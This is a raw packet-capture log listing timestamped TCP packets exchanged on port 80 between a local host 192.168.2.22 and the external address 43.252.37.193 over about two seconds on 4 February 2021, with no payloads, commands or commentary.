Feb 4, 2021 09:55:37.219922066 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219938040 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219938993 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219950914 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219955921 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219965935 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219973087 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.219980955 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.219990015 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220000982 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220010042 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220015049 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220029116 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220030069 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220045090 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220052958 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220062017 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220067024 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220074892 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220084906 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220093966 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220103025 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220113993 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220122099 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220129013 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220138073 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220146894 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220154047 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220163107 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220176935 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220177889 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220195055 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.220202923 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220221996 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220225096 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.220235109 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.416893005 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.416927099 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.416939020 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.416951895 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.416964054 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.417002916 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.417045116 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.417073011 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.417090893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.417131901 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417164087 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.417171001 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417174101 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417176962 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417179108 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417181015 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417191982 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417207003 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417211056 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417217970 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.417243004 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417260885 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.417314053 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.417396069 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.419852972 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.428493023 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.613961935 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614022970 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614063025 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614109993 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614151955 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614188910 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614212990 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614228964 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614250898 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614269018 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614279032 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614306927 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614319086 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614345074 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614362955 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614383936 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614396095 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614433050 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614434004 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614479065 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614495039 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614505053 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614528894 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614543915 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614562035 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614582062 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614607096 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614619017 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614638090 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614659071 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.614670992 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.614707947 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.616477966 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.616533995 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.616573095 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.616597891 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.616611958 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.616636992 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.616650105 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.616672039 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.616688967 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.616704941 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.616727114 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.616750002 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.616775036 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.616780043 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.616832972 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.617794991 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812026024 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812052011 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812068939 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812096119 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812131882 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812131882 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812165022 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812167883 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812181950 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812194109 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812200069 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812216997 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812227011 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812233925 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812252998 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812257051 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812269926 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812285900 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812289953 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812302113 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812308073 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812309980 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812326908 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812338114 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812344074 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812355042 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812359095 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812361002 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.812383890 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812397003 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812401056 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.812552929 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.813750029 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.813771963 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.813791037 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.813807011 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.813818932 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.813823938 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.813832045 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.813842058 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.813862085 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.813869953 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.813878059 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.813929081 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.813941002 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.813957930 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:37.813988924 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:37.814012051 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009152889 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009211063 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009247065 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009278059 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009283066 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009320021 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009320974 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009325027 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009327888 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009365082 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009372950 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009421110 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009439945 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009481907 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009517908 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009530067 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009542942 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009557009 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009562969 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009593964 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009603977 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009628057 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009639025 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009664059 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009675026 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009700060 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.009706974 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.009744883 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.010454893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.010493040 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.010531902 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.010538101 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.010550022 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.010592937 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.010596037 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.010634899 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.010647058 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.010680914 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.010706902 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.010755062 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.206829071 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.206897974 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.206945896 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.206984043 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207020998 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207060099 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207097054 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207115889 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207137108 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207156897 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207160950 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207175970 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207178116 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207195044 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207200050 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207225084 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207241058 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207252979 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207269907 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207345009 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207386971 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207459927 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207509995 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207546949 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207555056 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207592964 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207597971 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207632065 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207633018 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207667112 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207670927 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.207695961 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.207740068 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.405749083 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.405808926 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.405848026 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.405885935 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.405921936 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.405968904 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.406011105 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.406040907 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406048059 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.406083107 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406085968 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.406090021 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406095028 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406100035 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406105042 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406124115 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406126022 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.406131029 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406163931 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.406188965 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406202078 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.406212091 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406244040 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.406258106 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406300068 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.406311989 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603116035 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603265047 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603327036 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603352070 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603358984 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603394032 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603423119 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603434086 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603452921 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603482962 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603483915 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603538036 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603559971 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603578091 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603602886 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603616953 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603637934 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603656054 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603673935 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603693962 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603707075 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603732109 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603751898 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603770971 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603782892 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603818893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.603833914 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.603879929 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.800936937 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.800996065 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801035881 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801073074 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801110983 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801147938 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801197052 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801218033 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.801239967 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801245928 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.801250935 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.801279068 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801281929 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.801307917 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.801318884 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.801337957 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.801376104 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998138905 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998188972 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998225927 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998262882 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998286963 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998300076 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998326063 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998336077 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998342037 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998364925 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998380899 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998406887 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998419046 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998433113 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998464108 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998467922 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998509884 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998529911 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998548031 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:38.998564005 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:38.998608112 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.195595980 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.195648909 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.195688009 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.195797920 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.195818901 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.195847988 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.195866108 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.195904970 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.195943117 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.195945978 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.195977926 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.195980072 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.196017027 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.196019888 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.196050882 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.196058035 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.196086884 CET	49165	80	192.168.2.22	43.252.37.193
